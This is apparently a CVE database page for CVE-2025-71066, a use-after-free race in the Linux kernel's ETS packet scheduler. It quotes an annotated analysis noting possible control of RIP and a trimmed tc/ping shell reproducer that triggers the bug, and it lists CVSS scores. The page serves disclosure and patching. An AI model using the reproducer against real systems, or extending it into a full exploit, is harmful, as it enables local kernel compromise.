net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change
CVSS score
7.8
EPSS probability
%0.2
Risk score
0.0
Published
9 mo ago
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Vulnerability description
DayBreach CVE AI Research
CVE-2025-71066 has vendor, distribution, patch and security-source records on file. We can compare them and prepare an explanation linked to the evidence.
In the Linux kernel, the following vulnerability has been resolved: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change zdi-disclosures@trendmicro.com says: The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis. Analysis: static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ... // (1) this lock is preventing .change handler (`ets_qdisc_change`) //to race with .dequeue handler (`ets_qdisc_dequeue`) sch_tree_lock(sch); for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); } WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap)); for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]); for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); } // (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch); ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; } Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc Reproducer Steps (trimmed version of what was sent by zdi-disclosures@trendmicro.com) ``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}" SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}" cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT ip link set "$DEV" up tc qdisc del dev "$DEV" root 2>/dev/null || true tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT" tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---
IMPACT: Affected Products and Software
RED HAT CSAF/VEX: Product Impact Check
SCORING: CVSS from Multiple Sources
CVSS Scores
The Common Vulnerability Scoring System is a standardised framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from several sources for each CVE.
| SCORE | VERSION | SEVERITY | VECTOR | SOURCE |
|---|---|---|---|---|
| 7.8 | CVSS V31 | HIGH | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H | NVD |
| 7.8 | CVSS V3_1 | HIGH | CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H | CVE CNA |
| 7.5 | CVSS V31 | HIGH | CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H | NVD |
| 7.5 | CVSS V3_1 | HIGH | CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H | CVE ADP |
Patch and Remediation Guide
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Public exploit and active exploitation status
Verified exploit intelligence
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Weakness Classification and Attack Patterns (CWE & CAPEC)
CWE - Common Weakness Enumeration
While CVE identifies specific instances of vulnerabilities, CWE categorises the common flaws or weaknesses that can lead to vulnerabilities. CVE-2025-71066 is associated with the following CWEs:
Common Attack Pattern Enumeration and Classification (CAPEC)
Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2025-71066 weaknesses.
Attack Vector and Accessibility
Official Sources and Advisories
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